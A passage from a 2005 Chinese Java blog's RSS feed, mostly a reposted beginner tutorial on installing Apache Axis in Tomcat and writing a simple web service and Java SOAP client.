<TABLE cellSpacing=0 cellPadding=0 width="100%" border=0>
<TBODY>
<TR>
<TD><A name=author1></A><SPAN class=atitle2>关于作者</SPAN><BR>刘冬，一直使用J2EE从事移动业务方面的开发。现在可以通过Java自由人网站来跟我联系，网址是： <A href="http://www.javayou.com/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:dw="http://www.ibm.com/developerworks/">http://www.javayou.com</A>；另外我的邮件地址是 <A href="mailto:winter.lau@163.com" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:dw="http://www.ibm.com/developerworks/">winter.lau@163.com</A>。 </TD></TR></TBODY></TABLE><img src ="http://www.blogjava.net/kapok/aggbug/10064.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/kapok/" target="_blank">笨笨</a> 2005-08-14 09:41 <a href="http://www.blogjava.net/kapok/archive/2005/08/14/10064.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Hello, Axis</title><link>http://www.blogjava.net/kapok/archive/2005/08/14/10063.html</link><dc:creator>笨笨</dc:creator><author>笨笨</author><pubDate>Sun, 14 Aug 2005 01:20:00 GMT</pubDate><guid>http://www.blogjava.net/kapok/archive/2005/08/14/10063.html</guid><wfw:comment>http://www.blogjava.net/kapok/comments/10063.html</wfw:comment><comments>http://www.blogjava.net/kapok/archive/2005/08/14/10063.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/kapok/comments/commentRss/10063.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/kapok/services/trackbacks/10063.html</trackback:ping><description><![CDATA[<P><A href="http://www.javaresearch.org/article/showarticle.jsp?column=5&amp;thread=28482">http://www.javaresearch.org/article/showarticle.jsp?column=5&amp;thread=28482</A><BR><BR>Axis是Apache的一个开源web&nbsp;service引擎。它目前最为成熟的开源web&nbsp;service引擎之一。下面我主要介绍一下如何使用该Axis开发您的web&nbsp;service&nbsp;服务。<BR><BR><BR>1.安装</P>
<P>以tomcat4.1为服务器，下面说明如何安装axis：<BR>&nbsp;&nbsp;&nbsp;1.解压下载后的包，将包中axis目录复制到tomcat目录下的webapps目录下；<BR>&nbsp;&nbsp;&nbsp;2.将axis/WEB-INF/lib目录下类文件复制到tomcat目录下的common/lib目录下；<BR>&nbsp;&nbsp;&nbsp;3.重新启动tomcat；<BR>&nbsp;&nbsp;&nbsp;4.访问<A href="http://localhost:8080/axis/happyaxis.jsp">http://localhost:8080/axis/happyaxis.jsp</A>,如果能访问，表示安装成功；</P>
<P>&nbsp;</P>
<H4>2.开发webservice服务</H4><BR>a.编写普通类文件，如下所示：<BR>//文件名：Test.java<BR>import&nbsp;java.util.*;<BR><BR>public&nbsp;class&nbsp;Test{<BR>&nbsp;&nbsp;&nbsp;&nbsp;//fields<BR>&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;&nbsp;&nbsp;&nbsp;String&nbsp;name="gaga";<BR>&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;int&nbsp;age=20;<BR>&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;List&nbsp;items=new&nbsp;ArrayList();<BR>&nbsp;&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;//method&nbsp;at&nbsp;here.<BR>&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;String&nbsp;getName(){<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;name;<BR>&nbsp;&nbsp;&nbsp;&nbsp;}<BR>&nbsp;&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;int&nbsp;getAge(){<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;age;<BR>&nbsp;&nbsp;&nbsp;&nbsp;}<BR>&nbsp;&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;List&nbsp;getItems(){<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;items;<BR>&nbsp;&nbsp;&nbsp;&nbsp;}<BR>}<BR>将本文件(Test.java)复制到Axis目录下，并将其更名为Test.jws；<BR>b.访问<A href="http://localhost:8080/axis/Test.jws,Axis">http://localhost:8080/axis/Test.jws,Axis</A>就会编译该文件，并将其部署到系统中；<BR>下面你就可以开发web&nbsp;service的客户端程序了；<BR><BR>
<H4>3.开发客户端程序</H4><BR>下面是客户端程序：<BR>import&nbsp;org.apache.axis.client.*;<BR>import&nbsp;org.apache.axis.client.Call;<BR>import&nbsp;org.apache.axis.client.Service;<BR><BR>import&nbsp;javax.xml.namespace.QName;<BR><BR><BR>public&nbsp;class&nbsp;TestWebService{<BR>&nbsp;&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;static&nbsp;void&nbsp;main(String&nbsp;args[]){<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;System.out.println("Start&nbsp;invoking....");<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;try&nbsp;{<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;String&nbsp;endpoint&nbsp;=<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"http://localhost:8080/axis/Test.jws";//你写的那个文件<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Service&nbsp;&nbsp;service&nbsp;=&nbsp;new&nbsp;Service();<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Call&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;call&nbsp;&nbsp;&nbsp;&nbsp;=&nbsp;(Call)&nbsp;service.createCall();<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;call.setTargetEndpointAddress(&nbsp;new&nbsp;java.net.URL(endpoint)&nbsp;);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;call.setOperationName("getAge");//填写你要调用的方法名称<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;int&nbsp;ret&nbsp;=Integer.parseInt((""&nbsp;+&nbsp;call.invoke(&nbsp;new&nbsp;Object[]&nbsp;{}&nbsp;)));<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;System.out.println(ret);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;catch&nbsp;(Exception&nbsp;e)&nbsp;{<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;System.err.println(e.toString());<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<BR>&nbsp;&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;System.out.println("Finished&nbsp;the&nbsp;invoking.");&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<BR>&nbsp;&nbsp;&nbsp;&nbsp;}<BR>&nbsp;&nbsp;&nbsp;&nbsp;<BR>}<BR><BR>关于业务调用封装到服务端程序里，然后部署就可以了，就这么简单。<BR>
<H4>4.资源</H4><BR>http://ws.apache.org/axis/<BR><BR>作者：郭建东&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;gagaghost@gmail.com&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;http://blog.itpub.net/gagaghost <img src ="http://www.blogjava.net/kapok/aggbug/10063.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/kapok/" target="_blank">笨笨</a> 2005-08-14 09:20 <a href="http://www.blogjava.net/kapok/archive/2005/08/14/10063.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item></channel></rss>